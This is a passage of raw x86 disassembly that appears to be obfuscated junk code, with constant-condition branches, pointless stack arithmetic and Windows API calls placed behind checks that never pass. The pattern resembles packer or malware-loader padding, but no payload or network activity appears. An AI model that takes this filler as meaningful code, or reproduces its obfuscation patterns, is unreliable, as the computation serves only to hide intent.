cmp dword [ebp + eax - 0x2348], 0x1da7bc99
je 0x450ae0
mov dword [ebp - 0x1ce4], 1
jmp 0x450ae7
and dword [ebp - 0x1ce4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2348]
cmp eax, dword [ebp - 0x1ce4]
jne 0x450b08
mov dword [ebp - 0xd14], 1
jmp 0x450b0f
and dword [ebp - 0xd14], 0
mov eax, dword [ebp - 0xd14]
mov dword [ebp - 0x680], eax
cmp dword [ebp - 0x680], 0xfffffff6
je 0x450b30
mov dword [ebp - 0x1cec], 1
jmp 0x450b37
and dword [ebp - 0x1cec], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2348]
sub eax, dword [ebp - 0x1cec]
cmp dword [ebp - 0x108], eax
je 0x450b5e
mov dword [ebp - 0xd1c], 1
jmp 0x450b65
and dword [ebp - 0xd1c], 0
mov eax, dword [ebp - 0xb9c]
mov ecx, dword [ebp - 0xd1c]
lea eax, [ecx + eax - 9]
cmp eax, dword [ebp - 0xb9c]
jge 0x450b8f
mov eax, 0xaa8e
test eax, eax
jne 0x450b8f
and dword [ebp - 0x1cf4], 0
jmp 0x450b99
mov dword [ebp - 0x1cf4], 1
cmp dword [ebp - 0x1cf4], 1
jne 0x450bae
mov dword [ebp - 0xd24], 1
jmp 0x450bb5
and dword [ebp - 0xd24], 0
mov eax, dword [ebp - 0xd24]
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x108]
sub eax, 4
je 0x450c06
mov dword [ebp - 0x3010], 0xb382e580
mov dword [ebp - 0x3018], 4
mov dword [ebp - 0x3020], 0x25739271
mov dword [ebp - 0x3028], 0xfffffff6
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
jmp 0x450ff2
mov dword [ebp - 0xf4], 0xfffffffe
mov dword [ebp - 0x300], 0xee83adeb
mov dword [ebp - 0x214], 6
jmp 0x450c33
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0x34
jge 0x450ff2
mov dword [ebp - 0x624], 0
mov dword [ebp - 0x308], 0xde5156be
mov dword [ebp - 0x62c], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x680], eax
jg 0x450c78
mov dword [ebp - 0x1cfc], 1
jmp 0x450c7f
and dword [ebp - 0x1cfc], 0
mov eax, dword [ebp - 0xb9c]
mov dword [ebp - 0x300], eax
mov eax, dword [ebp - 0xf4]
add eax, dword [ebp - 0x1cfc]
neg eax
cmp dword [ebp - 0x300], eax
jg 0x450cad
mov dword [ebp - 0xd2c], 1
jmp 0x450cb4
and dword [ebp - 0xd2c], 0
mov eax, dword [ebp - 0x624]
cmp dword [ebp - 0xd2c], eax
je 0x450cce
mov dword [ebp - 0x1d04], 1
jmp 0x450cd5
and dword [ebp - 0x1d04], 0
mov eax, dword [ebp - 0x214]
cmp dword [ebp - 0x1d04], eax
jg 0x450cef
mov dword [ebp - 0xd34], 1
jmp 0x450cf6
and dword [ebp - 0xd34], 0
mov eax, dword [ebp - 0x624]
cmp dword [ebp - 0xd34], eax
jge 0x450d10
mov dword [ebp - 0x1d0c], 1
jmp 0x450d17
and dword [ebp - 0x1d0c], 0
mov eax, dword [ebp - 0x1d0c]
mov dword [ebp - 0x308], eax
mov eax, dword [ebp - 0x308]
neg eax
jne 0x450d48
cmp dword [ebp - 0x624], 0
jne 0x450d48
cmp dword [ebp - 0x624], 0
jne 0x450d48
and dword [ebp - 0xd3c], 0
jmp 0x450d52
mov dword [ebp - 0xd3c], 1
mov eax, dword [ebp - 0x624]
imul eax, dword [ebp - 0xd3c]
cmp eax, dword [ebp - 0xf4]
jg 0x450d73
mov dword [ebp - 0x1d14], 1
jmp 0x450d7a
and dword [ebp - 0x1d14], 0
mov eax, dword [ebp - 0xf4]
cmp eax, dword [ebp - 0x1d14]
jle 0x450d94
mov dword [ebp - 0xd44], 1
jmp 0x450d9b
and dword [ebp - 0xd44], 0
mov eax, dword [ebp - 0xd44]
mov dword [ebp - 0x62c], eax
mov dword [ebp - 0x62c], 0xffffffea
jmp 0x450dc0
mov eax, dword [ebp - 0x62c]
inc eax
mov dword [ebp - 0x62c], eax
cmp dword [ebp - 0x62c], 0xfffffff6
jl 0x450fed
mov dword [ebp - 0x26d8], 0xfffc
mov dword [ebp - 0xf4], 0
jmp 0x450df0
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 2
jg 0x450fda
mov dword [ebp - 0xba4], 0x6a332e52
mov dword [ebp - 0x26e8], 0x6306
mov dword [ebp - 0x1d34], 0x7c93e255
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x214], eax
jge 0x450e35
mov dword [ebp - 0x1d1c], 1
jmp 0x450e3c
and dword [ebp - 0x1d1c], 0
mov eax, dword [ebp - 0x1d1c]
mov dword [ebp - 0xba4], eax
mov dword [ebp - 0x300], 0
jmp 0x450e61
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 2
jg 0x450fd5
mov dword [ebp - 0x308], 2
jmp 0x450e87
mov eax, dword [ebp - 0x308]
dec eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0
jl 0x450fd0
mov dword [ebp - 0x26e0], 0xe7d1c2b1
mov eax, dword [ebp - 0x300]
mov ecx, dword [ebp - 0xf4]
mov eax, dword [ebp + eax*4 - 0x2348]
mov dword [ebp + ecx*4 - 0x2348], eax
mov eax, dword [ebp - 0xba4]
neg eax
je 0x450ed7
cmp dword [ebp - 0x214], 0
je 0x450ed7
mov dword [ebp - 0x26d0], 1
jmp 0x450ede
and dword [ebp - 0x26d0], 0
cmp dword [ebp - 0x26d8], 0x2b9a
jge 0x450ef6
mov dword [ebp - 0xd4c], 1
jmp 0x450efd
and dword [ebp - 0xd4c], 0
mov eax, dword [ebp - 0xd4c]
sub eax, 0x44b1310
mov dword [ebp - 0x26e0], eax
cmp dword [ebp - 0x26e8], 9
je 0x450f23
mov dword [ebp - 0x1d24], 1
jmp 0x450f2a
and dword [ebp - 0x1d24], 0
cmp dword [ebp - 0x1d24], 1
jae 0x450f3f
mov dword [ebp - 0xd54], 1
jmp 0x450f46
and dword [ebp - 0xd54], 0
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0xd54]
sub ecx, dword [ebp + eax*4 - 0x2348]
cmp ecx, 0xffffffff
je 0x450f6a
mov dword [ebp - 0x1d2c], 1
jmp 0x450f71
and dword [ebp - 0x1d2c], 0
mov eax, dword [ebp - 0xba4]
cmp dword [ebp - 0x1d2c], eax
jge 0x450f8b
mov dword [ebp - 0xd5c], 1
jmp 0x450f92
and dword [ebp - 0xd5c], 0
mov eax, dword [ebp - 0xd5c]
mov dword [ebp - 0x1d34], eax
mov eax, dword [ebp - 0x308]
cmp dword [ebp - 0x1d34], eax
jg 0x450fb8
mov dword [ebp - 0xd64], 1
jmp 0x450fbf
and dword [ebp - 0xd64], 0
mov eax, dword [ebp - 0xd64]
mov dword [ebp - 0x680], eax
jmp 0x450e7a
jmp 0x450e54
jmp 0x450de3
cmp dword [ebp - 0x108], 0
je 0x450fe8
jmp 0x450db3
jmp 0x450db3
jmp 0x450c26
mov dword [ebp - 0x130], 0xffffffff
mov dword [ebp - 0x1d44], 0xffffffff
mov dword [ebp - 0x838], 0
jmp 0x45101f
mov eax, dword [ebp - 0x838]
inc eax
mov dword [ebp - 0x838], eax
cmp dword [ebp - 0x838], 2
jge 0x45103b
mov eax, dword [ebp - 0x838]
mov dword [ebp + eax*4 - 0x2bac], 0x74b28ed4
jmp 0x451012
mov dword [ebp - 0x130], 4
jmp 0x451054
mov eax, dword [ebp - 0x130]
dec eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0xfffffff0
je 0x4511c2
mov dword [ebp - 0x634], 0x4ea6801f
mov dword [ebp - 0x26f0], 9
cmp dword [ebp - 0x634], 0
jne 0x45119b
cmp dword [ebp - 0x130], 0
je 0x45109e
push 7
pop eax
test eax, eax
je 0x45109e
mov dword [ebp - 0xd7c], 1
jmp 0x4510a5
and dword [ebp - 0xd7c], 0
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x1d3c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1d3c]
mov dword [ebp + eax - 0x2bac], ecx
mov eax, dword [ebp - 0x634]
cmp dword [ebp - 0x1d3c], eax
je 0x4510de
mov dword [ebp - 0xd6c], 1
jmp 0x4510e5
and dword [ebp - 0xd6c], 0
mov eax, dword [ebp - 0xd6c]
mov dword [ebp - 0x1d44], eax
cmp dword [ebp - 0x1d44], 0
jne 0x45110c
cmp dword [ebp - 0x130], 0
jne 0x45110c
and dword [ebp - 0xd74], 0
jmp 0x451116
mov dword [ebp - 0xd74], 1
mov eax, dword [ebp - 0x130]
add eax, dword [ebp - 0xd74]
imul eax, eax, 0xfffffff7
cmp eax, 0xfffffffd
jbe 0x451136
mov dword [ebp - 0x1d4c], 1
jmp 0x45113d
and dword [ebp - 0x1d4c], 0
mov eax, dword [ebp - 0x1d4c]
sub eax, dword [ebp - 0x130]
cmp dword [ebp - 0xd7c], eax
jge 0x45115d
mov dword [ebp - 0x1d54], 1
jmp 0x451164
and dword [ebp - 0x1d54], 0
mov eax, dword [ebp - 0x634]
cmp dword [ebp - 0x1d54], eax
jle 0x45117e
mov dword [ebp - 0xd84], 1
jmp 0x451185
and dword [ebp - 0xd84], 0
mov eax, dword [ebp - 0xd84]
add eax, 0x4579
jne 0x45119b
and dword [ebp - 0x1d5c], 0
jmp 0x4511a5
mov dword [ebp - 0x1d5c], 1
mov eax, dword [ebp - 0x1d5c]
mov dword [ebp - 0x634], eax
mov eax, dword [ebp - 0x26f0]
mov dword [ebp - 0x634], eax
jmp 0x451047
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2bac]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x160], 0
jmp 0x4511ee
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 3
jge 0x45120a
mov eax, dword [ebp - 0x160]
mov dword [ebp + eax*4 - 0x2970], 0x43046b6e
jmp 0x4511e1
mov dword [ebp - 0x4c], 0xfffffffc
mov dword [ebp - 0x2474], 0x6eb81f94
mov dword [ebp - 0x2470], 0x6eb81f94
mov dword [ebp - 0x246c], 0x6eb81f94
mov dword [ebp - 0x2468], 0x6eb81f94
mov dword [ebp - 0x1d9c], 0x90031234
mov dword [ebp - 0x2700], 3
mov dword [ebp - 0x2d80], 0xfffffff6
mov dword [ebp - 0x2d7c], 0xfffffff6
mov dword [ebp - 0x2d78], 0xfffffff6
mov dword [ebp - 0x2d74], 0xfffffff6
mov dword [ebp - 0x4c], 0x1d
jmp 0x451285
mov eax, dword [ebp - 0x4c]
dec eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0xb
jg 0x451917
mov dword [ebp - 0x94], 0xffffffff
mov dword [ebp - 0x63c], 0xfffffff9
mov dword [ebp - 0xddc], 0
mov dword [ebp - 0x560], 0x40d8eb8a
cmp dword [ebp - 0x94], 0
je 0x45131f
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x3030], eax
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], eax
jge 0x4512e0
mov dword [ebp - 0xd8c], 1
jmp 0x4512e7
and dword [ebp - 0xd8c], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0xd8c], eax
je 0x451301
mov dword [ebp - 0x1d64], 1
jmp 0x451308
and dword [ebp - 0x1d64], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x1d64], eax
jl 0x45131f
mov dword [ebp - 0xd94], 1
jmp 0x451326
and dword [ebp - 0xd94], 0
cmp dword [ebp - 0xd94], 6
jge 0x45134d
cmp dword [ebp - 0x94], 0
je 0x45134d
mov eax, 0xd3ec
test eax, eax
je 0x45134d
mov dword [ebp - 0x1d6c], 1
jmp 0x451354
and dword [ebp - 0x1d6c], 0
imul eax, dword [ebp - 0x1d6c], 0
cmp eax, 0xfffd
jbe 0x45136e
mov dword [ebp - 0xd9c], 1
jmp 0x451375
and dword [ebp - 0xd9c], 0
mov eax, dword [ebp - 0xd9c]
sub eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x4c]
jg 0x45138f
mov dword [ebp - 0x1d74], 1
jmp 0x451396
and dword [ebp - 0x1d74], 0
mov eax, dword [ebp - 0x94]
cmp eax, dword [ebp - 0x1d74]
je 0x4513e4
cmp dword [ebp - 0x94], 0
je 0x4513e4
mov byte [ebp - 0x478], 0
movzx eax, byte [ebp - 0x478]
test eax, eax
je 0x4513d1
push 0x7a8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
cmp dword [ebp - 0x63c], 0
je 0x4513df
jmp 0x45127e
jmp 0x451569
mov dword [ebp - 0x688], 0xc0b333ee
mov eax, dword [ebp - 0x688]
mov dword [ebp - 0x3038], eax
mov eax, dword [ebp - 0x688]
cmp dword [ebp - 0x94], eax
jge 0x451414
mov dword [ebp - 0xbac], 1
jmp 0x45141b
and dword [ebp - 0xbac], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xbac]
mov dword [ebp + eax - 0x2474], ecx
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0xbac], eax
jle 0x451444
mov dword [ebp - 0xda4], 1
jmp 0x45144b
and dword [ebp - 0xda4], 0
mov eax, dword [ebp - 0xda4]
add eax, 0x5799c3f0
cmp dword [ebp - 0x4c], eax
jg 0x451467
mov dword [ebp - 0x1d7c], 1
jmp 0x45146e
and dword [ebp - 0x1d7c], 0
cmp dword [ebp - 0x1d7c], 0xffff
je 0x451486
mov dword [ebp - 0xdac], 1
jmp 0x45148d
and dword [ebp - 0xdac], 0
mov eax, dword [ebp - 0x688]
cmp dword [ebp - 0xdac], eax
jle 0x4514a7
mov dword [ebp - 0x26f8], 1
jmp 0x4514ae
and dword [ebp - 0x26f8], 0
mov eax, dword [ebp - 0x63c]
mov dword [ebp - 0x3040], eax
cmp dword [ebp - 0x4c], 0xd9ca
jge 0x4514cf
mov dword [ebp - 0x1d84], 1
jmp 0x4514d6
and dword [ebp - 0x1d84], 0
cmp dword [ebp - 0x1d84], 0xfffffff7
jne 0x4514f1
cmp dword [ebp - 0x94], 0
jne 0x4514f1
and dword [ebp - 0xdb4], 0
jmp 0x4514fb
mov dword [ebp - 0xdb4], 1
cmp dword [ebp - 0xdb4], 0xce57
jne 0x451513
mov dword [ebp - 0x1d8c], 1
jmp 0x45151a
and dword [ebp - 0x1d8c], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x1d8c], eax
je 0x451531
mov dword [ebp - 0xdbc], 1
jmp 0x451538
and dword [ebp - 0xdbc], 0
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0xdbc]
cmp eax, dword [ebp - 0x688]
jge 0x451555
mov dword [ebp - 0x1d94], 1
jmp 0x45155c
and dword [ebp - 0x1d94], 0
imul eax, dword [ebp - 0x1d94], 0xfffffffa
mov dword [ebp - 0x1d9c], eax
mov dword [ebp - 0x94], 0
jmp 0x451582
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0x16
jle 0x451912
mov dword [ebp - 0x690], 0xf75bae5b
mov dword [ebp - 0x4b4], 0
mov dword [ebp - 0xde4], 4
mov dword [ebp - 0x2710], 0xffffffff
mov dword [ebp - 0x840], 0
jmp 0x4515d0
mov eax, dword [ebp - 0x840]
inc eax
mov dword [ebp - 0x840], eax
cmp dword [ebp - 0x840], 3
jge 0x4515ec
mov eax, dword [ebp - 0x840]
mov dword [ebp + eax*4 - 0x3764], 0x44351d5e
jmp 0x4515c3
cmp dword [ebp - 0x63c], 0
jne 0x451609
mov eax, dword [ebp - 0x690]
dec eax
mov dword [ebp - 0x690], eax
cmp dword [ebp - 0x690], 0
mov dword [ebp - 0x4b4], 9
mov eax, dword [ebp - 0x4b4]
dec eax
add eax, dword [ebp - 0x690]
mov dword [ebp - 0xdc4], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xdc4]
mov dword [ebp + eax - 0x3764], ecx
mov eax, dword [ebp - 0x2700]
cmp dword [ebp - 0x1d9c], 0xe384c83b
je 0x451656
mov dword [ebp - 0xdcc], 1
jmp 0x45165d
and dword [ebp - 0xdcc], 0
mov eax, dword [ebp - 0xdcc]
mov dword [ebp - 0x560], eax
cmp dword [ebp - 0x560], 0x2b50d22
jne 0x451681
mov dword [ebp - 0x1da4], 1
jmp 0x451688
and dword [ebp - 0x1da4], 0
cmp dword [ebp - 0x1da4], 0xaa4b6d8d
je 0x4516a0
mov dword [ebp - 0xdd4], 1
jmp 0x4516a7
and dword [ebp - 0xdd4], 0
mov eax, dword [ebp - 0x63c]
cmp dword [ebp - 0xdd4], eax
je 0x4516c1
mov dword [ebp - 0x1dac], 1
jmp 0x4516c8
and dword [ebp - 0x1dac], 0
cmp dword [ebp - 0x1dac], 0xfffffffb
jbe 0x4516dd
mov dword [ebp - 0xbb4], 1
jmp 0x4516e4
and dword [ebp - 0xbb4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xbb4]
mov dword [ebp + eax - 0x2d80], ecx
cmp dword [ebp - 0xbb4], 1
jb 0x45170c
mov dword [ebp - 0x2708], 1
jmp 0x451713
and dword [ebp - 0x2708], 0
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x3048], eax
mov eax, dword [ebp - 0xddc]
mov dword [ebp - 0x3050], eax
mov eax, dword [ebp - 0xddc]
mov dword [ebp - 0x3058], eax
xor eax, eax
neg eax
cmp eax, 0xfaab
jne 0x451754
mov eax, 0xbc08f528
test eax, eax
jne 0x451754
and dword [ebp - 0x1db4], 0
jmp 0x45175e
mov dword [ebp - 0x1db4], 1
mov eax, dword [ebp - 0x1db4]
mov dword [ebp - 0xde4], eax
mov eax, dword [ebp - 0x2710]
cmp dword [ebp - 0xde4], eax
jg 0x451784
mov dword [ebp - 0x1dbc], 1
jmp 0x45178b
and dword [ebp - 0x1dbc], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2474]
cmp dword [ebp - 0x1dbc], eax
jle 0x4517ab
mov dword [ebp - 0xdec], 1
jmp 0x4517b2
and dword [ebp - 0xdec], 0
mov eax, dword [ebp - 0x63c]
cmp dword [ebp - 0xdec], eax
je 0x4517cc
mov dword [ebp - 0x1dc4], 1
jmp 0x4517d3
and dword [ebp - 0x1dc4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2474]
imul eax, dword [ebp - 0x1dc4]
test eax, eax
jb 0x4517f7
mov dword [ebp - 0xdf4], 1
jmp 0x4517fe
and dword [ebp - 0xdf4], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2474]
imul eax, dword [ebp - 0xdf4]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x2474]
jl 0x45182c
mov dword [ebp - 0x1dcc], 1
jmp 0x451833
and dword [ebp - 0x1dcc], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x1dcc], eax
jge 0x45184d
mov dword [ebp - 0xdfc], 1
jmp 0x451854
and dword [ebp - 0xdfc], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xdfc]
mov dword [ebp + eax - 0x2474], ecx
mov dword [ebp - 0x560], 0
jmp 0x45187f
mov eax, dword [ebp - 0x560]
inc eax
mov dword [ebp - 0x560], eax
cmp dword [ebp - 0x560], 5
jge 0x45190d
mov byte [ebp - 0x3d9], 0
movzx eax, byte [ebp - 0x3d9]
test eax, eax
je 0x4518b9
push 0
push 0x34a
push 0x10d9
push 0xace
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x4b4], 0xffffffe7
jmp 0x4518d2
mov eax, dword [ebp - 0x4b4]
inc eax
mov dword [ebp - 0x4b4], eax
cmp dword [ebp - 0x4b4], 0x12
jne 0x451908
mov byte [ebp - 0x47a], 0
movzx eax, byte [ebp - 0x47a]
test eax, eax
je 0x451906
push 0
push 0x2ef
push 0
push 0x3d4
push 0x15a2
call dword [sym.imp.GDI32.dll_ExtCreatePen]
jmp 0x4518c5
jmp 0x451872
jmp 0x451575
jmp 0x45127e
mov dword [ebp - 0x160], 0
jmp 0x451930
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 3
jge 0x45194c
mov eax, dword [ebp - 0x160]
mov dword [ebp + eax*4 - 0x2960], 6
jmp 0x451923
mov dword [ebp - 0x26c], 8
mov dword [ebp - 0x848], 0
jmp 0x45196f
mov eax, dword [ebp - 0x848]
inc eax
mov dword [ebp - 0x848], eax
cmp dword [ebp - 0x848], 4
jge 0x45198b
mov eax, dword [ebp - 0x848]
mov dword [ebp + eax*4 - 0x3984], 0x3342
jmp 0x451962
mov dword [ebp - 0x26c], 3
jmp 0x4519a4
mov eax, dword [ebp - 0x26c]
dec eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0
jl 0x451a94
mov dword [ebp - 0x698], 0
jmp 0x4519ca
mov eax, dword [ebp - 0x698]
inc eax
mov dword [ebp - 0x698], eax
cmp dword [ebp - 0x698], 3
jge 0x4519e6
mov eax, dword [ebp - 0x698]
mov dword [ebp + eax*4 - 0x2b58], 0xaed23b61
jmp 0x4519bd
mov byte [ebp - 0x3e1], 0
movzx eax, byte [ebp - 0x3e1]
test eax, eax
je 0x451a1d
push 0xebe
push 0
push 0xc8c
push 0x270f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtFloodFill]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2b58], 0
jmp 0x451a4b
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2b58]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2b58], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2b58], 3
jg 0x451a8f
mov byte [ebp - 0x47c], 0
movzx eax, byte [ebp - 0x47c]
test eax, eax
je 0x451a8d
push 0
push 0x6cd
push 0x287
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
jmp 0x451a30
jmp 0x451997
mov dword [ebp - 0x26c], 0
jmp 0x451aad
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 4
jge 0x451ac9
mov eax, dword [ebp - 0x26c]
mov dword [ebp + eax*4 - 0x3984], 0xb1a9
jmp 0x451aa0
mov eax, dword [ebp - 0x850]
mov dword [ebp - 0x3060], eax
mov eax, dword [ebp - 0x850]
mov dword [ebp - 0x3068], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2960], 0
ja 0x451afd
mov dword [ebp - 0x1dd4], 1
jmp 0x451b04
and dword [ebp - 0x1dd4], 0
mov eax, dword [ebp - 0x1dd4]
sub eax, dword [ebp - 0x1dec]
sub eax, 0x6bc712ba
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x2960]
je 0x451b2f
mov dword [ebp - 0xe04], 1
jmp 0x451b36
and dword [ebp - 0xe04], 0
cmp dword [ebp - 0xe04], 0x32e0c280
jle 0x451b4e
mov dword [ebp - 0x1ddc], 1
jmp 0x451b55
and dword [ebp - 0x1ddc], 0
cmp dword [ebp - 0x1ddc], 0xfffffffb
jle 0x451b6a
mov dword [ebp - 0xe0c], 1
jmp 0x451b71
and dword [ebp - 0xe0c], 0
mov eax, dword [ebp - 0xe0c]
mov dword [ebp - 0x858], eax
mov eax, dword [ebp - 0x850]
cmp dword [ebp - 0x858], eax
jle 0x451b97
mov dword [ebp - 0x1de4], 1
jmp 0x451b9e
and dword [ebp - 0x1de4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2960]
cmp dword [ebp - 0x1de4], eax
je 0x451bbf
mov dword [ebp - 0xe14], 1
jmp 0x451bc6
and dword [ebp - 0xe14], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2970]
mov dword [ebp - 0xe1c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xe1c]
mov dword [ebp + eax - 0x2970], ecx
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x850]
add ecx, dword [ebp - 0xe14]
imul ecx, dword [ebp - 0x1dec]
imul ecx, dword [ebp + eax - 0x2960]
mov eax, dword [ebp - 0xe1c]
sub eax, ecx
mov ecx, dword [ebp - 0x6a0]
mov edx, dword [ebp - 0x6a0]
dec edx
mov dword [ebp - 0x6a0], edx
cmp ecx, eax
jle 0x451c48
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2970], 0
je 0x451c48
mov dword [ebp - 0x1df4], 1
jmp 0x451c4f
and dword [ebp - 0x1df4], 0
mov eax, dword [ebp - 0x1dfc]
cmp eax, dword [ebp - 0x1df4]
jle 0x451c69
mov dword [ebp - 0xe24], 1
jmp 0x451c70
and dword [ebp - 0xe24], 0
mov eax, dword [ebp - 0xe24]
mov dword [ebp - 0x1dfc], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2960]
mov dword [ebp - 0x3070], eax
mov eax, dword [ebp - 0x6a0]
cmp dword [ebp - 0xbbc], eax
je 0x451ccc
mov eax, dword [ebp - 0xbbc]
mov dword [ebp - 0x3078], eax
mov eax, 0x7e9a
test eax, eax
jne 0x451cb7
or eax, 0xffffffff
je 0x451ccc
cmp dword [ebp - 0xbbc], 0
je 0x451ccc
mov dword [ebp - 0xe2c], 1
jmp 0x451cd3
and dword [ebp - 0xe2c], 0
cmp dword [ebp - 0xe2c], 0x6652f521
jge 0x451ceb
mov dword [ebp - 0x1e04], 1
jmp 0x451cf2
and dword [ebp - 0x1e04], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2970]
imul eax, dword [ebp - 0x1e04]
mov dword [ebp - 0x858], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x858]
mov dword [ebp + eax - 0x2970], ecx
mov dword [ebp - 0x644], 1
mov dword [ebp - 0x2730], 0xfffffffc
mov dword [ebp - 0x3080], 0x5dec4f3f
mov dword [ebp - 0x3088], 0xa3dbc56e
mov dword [ebp - 0x2728], 0x2e65251c
mov dword [ebp - 0x3090], 0xffffffff
mov dword [ebp - 0x3098], 4
mov dword [ebp - 0x30a0], 1
mov dword [ebp - 0x30a8], 0x5a83d87e
mov dword [ebp - 0x30b0], 0x5077045b
mov dword [ebp - 0x30b8], 4
mov dword [ebp - 0x30c0], 0x51d77f17
mov dword [ebp - 0x30c8], 0x8ba5
mov dword [ebp - 0x6a8], 0
jmp 0x451db8
mov eax, dword [ebp - 0x6a8]
inc eax
mov dword [ebp - 0x6a8], eax
cmp dword [ebp - 0x6a8], 3
jge 0x451dd4
mov eax, dword [ebp - 0x6a8]
mov dword [ebp + eax*4 - 0x3a3c], 0xfcc1031c
jmp 0x451dab
mov dword [ebp - 0x644], 0
jmp 0x451ded
mov eax, dword [ebp - 0x644]
inc eax
mov dword [ebp - 0x644], eax
cmp dword [ebp - 0x644], 0x13
je 0x451f46
mov dword [ebp - 0x30d0], 0x5735
mov dword [ebp - 0x30d8], 0xfffffffc
mov dword [ebp - 0x30e0], 0xb76d6092
mov dword [ebp - 0x168], 0
jmp 0x451e31
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 2
jge 0x451e4d
mov eax, dword [ebp - 0x168]
mov dword [ebp + eax*4 - 0x319c], 0xfffffffc
jmp 0x451e24
mov dword [ebp - 0x168], 0
jmp 0x451e66
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 4
jge 0x451e82
mov eax, dword [ebp - 0x168]
mov dword [ebp + eax*4 - 0x2e80], 0x71d0c0b8
jmp 0x451e59
mov eax, dword [ebp - 0x644]
mov dword [ebp - 0x2718], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2e80]
mov dword [ebp - 0x2720], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2e80]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2e80], eax
mov eax, dword [ebp - 0x2718]
cmp eax, dword [ebp - 0x2720]
jge 0x451ed6
mov dword [ebp - 0xe34], 1
jmp 0x451edd
and dword [ebp - 0xe34], 0
imul eax, dword [ebp - 0xe34], 0x1d89
test eax, eax
je 0x451f20
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x319c], 1
jg 0x451f20
mov eax, 0x855
test eax, eax
je 0x451f20
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2e80], 0
je 0x451f20
mov dword [ebp - 0x1e0c], 1
jmp 0x451f27
and dword [ebp - 0x1e0c], 0
mov eax, dword [ebp - 0x1e0c]
mov dword [ebp - 0x2728], eax
cmp dword [ebp - 0x2730], 0
je 0x451f41
jmp 0x451de0
jmp 0x451de0
cmp dword [ebp + 8], 2
